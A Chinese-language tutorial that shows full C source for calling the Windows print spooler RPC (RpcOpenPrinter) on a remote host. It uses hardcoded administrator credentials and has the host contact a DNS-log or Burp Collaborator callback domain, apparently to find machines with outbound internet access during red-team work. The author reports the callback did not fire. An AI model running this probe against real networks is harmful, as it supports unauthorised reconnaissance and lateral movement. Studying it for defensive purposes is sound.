Windows RPC 探测出网(MS-RPRN协议)
参考链接
https://github.com/Rvn0xsy/SchtaskCreator
https://payloads.online/archivers/2022-03-04/1/ 通过Windows RPC批量寻找“出网”机器
实现目标
本篇目标尝试调用windows系统自身的rpc接口(RpcOpenPrinter),实现在本地机器和远程机器探测是否出网
RpcOpenPrinter探测出网的原理
RpcOpenPrinter 是一个工作在MS-RPRN协议下的监视打印机的句柄方法
DWORD RpcOpenPrinter(
[in, string, unique] STRING_HANDLE pPrinterName,
[out] PRINTER_HANDLE* pHandle,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] DWORD AccessRequired
);
第一个参数pPrinterName是打印机的地址,格式支持
Domain Name System (DNS)
NetBIOS
Internet Protocol version 4 (IPv4)
Internet Protocol version 6 (IPv6)
Universal Naming Convention (UNC)
所以调用本地和远程的RpcOpenPrinter函数,第一个参数填dnslog地址。如果dnslog收到请求就可判断目标机器是否出网
环境和文件
开发环境
windows10
visual studio 2019
需要建立的文件
ms-rprn.idl文件(下载链接:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e8f9dad8-d114-41cc-9a52-fc927e908cf4)
第一步 编译ms-rprn.idl文件
进入vs2019开发命令环境
midl ms-rprn.idl 注意:如果编译的是最新版可能会报错,可以尝试如下命令 ==> midl ms-rprn.idl /target NT60
第二步 创建工程
#include <stdio.h>
#include "ms-rprn.h"
#pragma comment(lib, "rpcrt4.lib")
static WCHAR szUsername[100] = { 0 };
static WCHAR szPassword[100] = { 0 };
static WCHAR szIPAddress[100] = { 0 };
static WCHAR szDomain[100] = { 0 };
bool is_local;
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
//Returns the last Win32 error, in string format. Returns an empty string if there is no error.
void PrintWin32Error(DWORD dwError)
{
LPWSTR messageBuffer = nullptr;
size_t size = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&messageBuffer, 0, NULL);
wprintf(L"Error Code %d ==> %s\n", dwError, messageBuffer);
//Free the buffer.
LocalFree(messageBuffer);
}
const RPC_WSTR MS_RPRN_UUID = (RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB";
const RPC_WSTR InterfaceAddress = (RPC_WSTR)L"\\pipe\\spoolss";
// Taken from https://github.com/Paolo-Maffei/OpenNT/blob/master/printscan/print/spooler/spoolss/win32/bind.c#L65
handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
{
RPC_STATUS RpcStatus = NULL;
RPC_WSTR StringBinding = NULL;
handle_t BindingHandle = NULL;
WCHAR ServerName[MAX_PATH + 1] = { 0 };
DWORD i;
if (lpStr && lpStr[0] == L'\\' && lpStr[1] == L'\\') {
// We have a servername
ServerName[0] = ServerName[1] = '\\';
i = 2;
while (lpStr[i] && lpStr[i] != L'\\' && i < sizeof(ServerName)) {
ServerName[i] = lpStr[i];
i++;
}
ServerName[i] = 0;
}
else {
return FALSE;
}
#if 0
RpcStatus = RpcStringBindingComposeW(
MS_RPRN_UUID,
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)ServerName,
InterfaceAddress,
NULL,
&StringBinding);
if (RpcStatus != RPC_S_OK) {
return(0);
}
RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
RpcStringFreeW(&StringBinding);
if (RpcStatus != RPC_S_OK) {
return(0);
}
#endif // 0
RPC_STATUS status;
//RPC_WSTR StringBinding = NULL;
RPC_BINDING_HANDLE Binding = NULL;
PWCHAR ConnectProtocol = NULL;
WCHAR ConnectRemoteProtocol[] = L"ncacn_ip_tcp";// L"ncacn_ip_tcp";
WCHAR ConnectLocalProtocol[] = L"ncalrpc";
RPC_WSTR Hostname = NULL;
SEC_WINNT_AUTH_IDENTITY_W Auth;
if (lstrlenW(szDomain) == 0) {
Auth.Domain = NULL;
Auth.DomainLength = 0;
}
else {
Auth.Domain = (RPC_WSTR)szDomain;
Auth.DomainLength = lstrlenW(szDomain);
}
//判断是不是本地执行,组装相应的参数
if (is_local) {
ConnectProtocol = ConnectLocalProtocol;
}
else {
ConnectProtocol = ConnectRemoteProtocol;
Auth.User = (RPC_WSTR)szUsername; // username
Auth.Password = (RPC_WSTR)szPassword; // password
Auth.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
Auth.UserLength = lstrlenW(szUsername);
Auth.PasswordLength = lstrlenW(szPassword);
Hostname = (RPC_WSTR)szIPAddress;
}
//1.RpcStringBindingCompose 函数创建字符串绑定句柄
status = RpcStringBindingCompose(
MS_RPRN_UUID,//NULL, // Interface's GUID, will be handled by NdrClientCall
(RPC_WSTR)ConnectProtocol, // Protocol sequence
Hostname, // Network address
NULL, // Endpoint
NULL, // No options here
&StringBinding // Output string binding
);
if (status != RPC_S_OK) {
// printf("RpcStringBindingCompose failed - %x\n", status);
return FALSE;
}
//2.RpcBindingFromStringBinding 函数从绑定句柄的字符串表示形式返回绑定句柄
// 记得绑定成功的话,最后要释放绑定的句柄
status = RpcBindingFromStringBinding(
StringBinding, // Previously created string binding 指向绑定句柄的字符串表示形式的指针
&BindingHandle // Output binding handle 返回指向服务器绑定句柄的指针
);
if (status != RPC_S_OK) {
// printf("RpcBindingFromStringBindingA failed - %x\n", status);
return FALSE;
}
// 3.如果不是本地认证,则采用网络认证获取成功的认证信息,为后续远程调用打下基础
if (!is_local) {
RpcTryExcept{
//RpcBindingSetAuthInfo 函数设置绑定句柄的身份验证和授权信息(认证成功的凭证应该在Binding中)
status = RpcBindingSetAuthInfo(
BindingHandle,
Hostname,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,//RPC_C_AUTHN_LEVEL_DEFAULT,
RPC_C_AUTHN_DEFAULT,
&Auth,
NULL
);
if (status != RPC_S_OK)
{
// printf("RpcBindingSetAuthInfo failed - %d\n", status);
return FALSE;
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
return FALSE;
}
RpcEndExcept
}
status = RpcStringFree(&StringBinding); //释放句柄
return BindingHandle;
}
void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
{
RPC_STATUS RpcStatus;
RpcStatus = RpcBindingFree(&BindingHandle);
//assert(RpcStatus != RPC_S_INVALID_BINDING);
return;
}
BOOL RpcOpenPrinter(PWCHAR targetServer) {
RPC_STATUS status = NULL;
// 4.开始调用
RpcTryExcept
{
PRINTER_HANDLE hPrinter = NULL;
HRESULT hr = NULL;
DEVMODE_CONTAINER devmodeContainer;
SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
/*
* RpcOpenPrinter 是一个工作在MS-RPRN协议下的监视打印机的句柄方法
DWORD RpcOpenPrinter(
[in, string, unique] STRING_HANDLE pPrinterName,
[out] PRINTER_HANDLE* pHandle,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] DWORD AccessRequired
);
第一个参数pPrinterName是打印机的地址,格式支持
Domain Name System (DNS)
NetBIOS
Internet Protocol version 4 (IPv4)
Internet Protocol version 6 (IPv6)
Universal Naming Convention (UNC)
*/
//STRING_HANDLE targetServer = (STRING_HANDLE)L"0987654321.gtjh01.dnslog.cn";
hr = RpcOpenPrinter(targetServer, &hPrinter, NULL, &devmodeContainer, GENERIC_ALL);
if (hr != ERROR_SUCCESS)
{
PrintWin32Error(hr);
return FALSE;
}
else {
printf("[*] RpcOpenPrinter 执行完成 hr=>%d \r\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
return FALSE;
}
RpcEndExcept
{
}
if (status != RPC_S_OK) {
return FALSE;
}
//释放绑定的句柄
//status = RpcBindingFree(&Binding);
return TRUE;
}
int main()
{
WCHAR Username[100] = L"administrator";
WCHAR Password[100] = L"123456";
WCHAR IPAddress[100] = L"192.168.0.105";
WCHAR Domain[100] = { 0 };
memcpy_s(szUsername, 99, Username, 99);
memcpy_s(szPassword, 99, Password, 99);
memcpy_s(szIPAddress, 99, IPAddress, 99);
is_local = true;
WCHAR targetServer[100] = L"\\\\123457788.ij527j82mvy4cedn2g7151e9309qxf.burpcollaborator.net";
#if 0
// 开始本地执行
if (RpcOpenPrinter(targetServer) && is_local == true) {
printf("[*] 本地执行计划任务 ==> 立即执行成功");
}
#endif // 0
#if 1
//开始远程执行
is_local = false;
if (RpcOpenPrinter(targetServer) && is_local == false)
{
printf("[*] 远程执行计划任务 ==> 立即执行成功");
}
#endif // 0
return 0;
}
本地和远程执行效果
远程机器上根据ProcessMonitor软件监控,发现确实通信成功了,但是未触发dnslog